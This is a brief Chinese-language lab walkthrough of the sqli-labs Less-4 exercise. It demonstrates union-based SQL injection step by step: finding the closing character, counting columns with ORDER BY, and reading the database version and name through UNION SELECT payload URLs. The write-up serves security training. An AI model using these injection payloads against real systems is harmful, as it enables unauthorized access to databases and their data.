SQL注入靶场sqli-labs less-4

sqli-labs靶场第三关less-4

1、确定注入点

http://192.168.128.3/sq/Less-4/?id=1

http://192.168.128.3/sq/Less-4/?id=2

有不同回显,判断可能存在注入,

2、判断注入类型

输入

http://192.168.128.3/sq/less-4/?id=1 and 1=1

http://192.168.128.3/sq/less-4/?id=1 and 1=2

回显一致,猜测不是数字型注

加单引号

http://192.168.128.3/sq/less-4/?id=1'

没有回显,猜测其他闭合方式

输入双引号

http://192.168.128.3/sq/Less-4/?id=1"

报出错误

由结果判断闭合方式为 ")

3、确定列数

http://192.168.128.3/sq/less-4/?id=1") order by 5 --+

http://192.168.128.3/sq/less-4/?id=1") order by 4 --+

http://192.168.128.3/sq/less-4/?id=1") order by 3 --+

4,5回显报错,3的时候回显

确定列数为3

4、确定回显位

http://192.168.128.3/sq/less-4/?id=-1") union select 1,2,3 --+

确定2,3为回显位置

5、确定数据库名,数据库版本

http://192.168.128.3/sq/Less-4/?id=-1") union select 1,version(),database()--+

5、爆出数据库名,表名,列名,数据

最终得到数据

大功告成

相关推荐
技术宝哥31 分钟前
Redis(2):Redis + Lua为什么可以实现原子性
数据库·redis·lua
神经毒素32 分钟前
WEB安全--Java安全--shiro721反序列化漏洞
安全·web安全
学地理的小胖砸2 小时前
【Python 操作 MySQL 数据库】
数据库·python·mysql
不知几秋2 小时前
sqlilab-Less-18
sql
dddaidai1232 小时前
Redis解析
数据库·redis·缓存
数据库幼崽2 小时前
MySQL 8.0 OCP 1Z0-908 121-130题
数据库·mysql·ocp
Amctwd3 小时前
【SQL】如何在 SQL 中统计结构化字符串的特征频率
数据库·sql
betazhou3 小时前
基于Linux环境实现Oracle goldengate远程抽取MySQL同步数据到MySQL
linux·数据库·mysql·oracle·ogg
lyrhhhhhhhh4 小时前
Spring 框架 JDBC 模板技术详解
java·数据库·spring
喝醉的小喵5 小时前
【mysql】并发 Insert 的死锁问题 第二弹
数据库·后端·mysql·死锁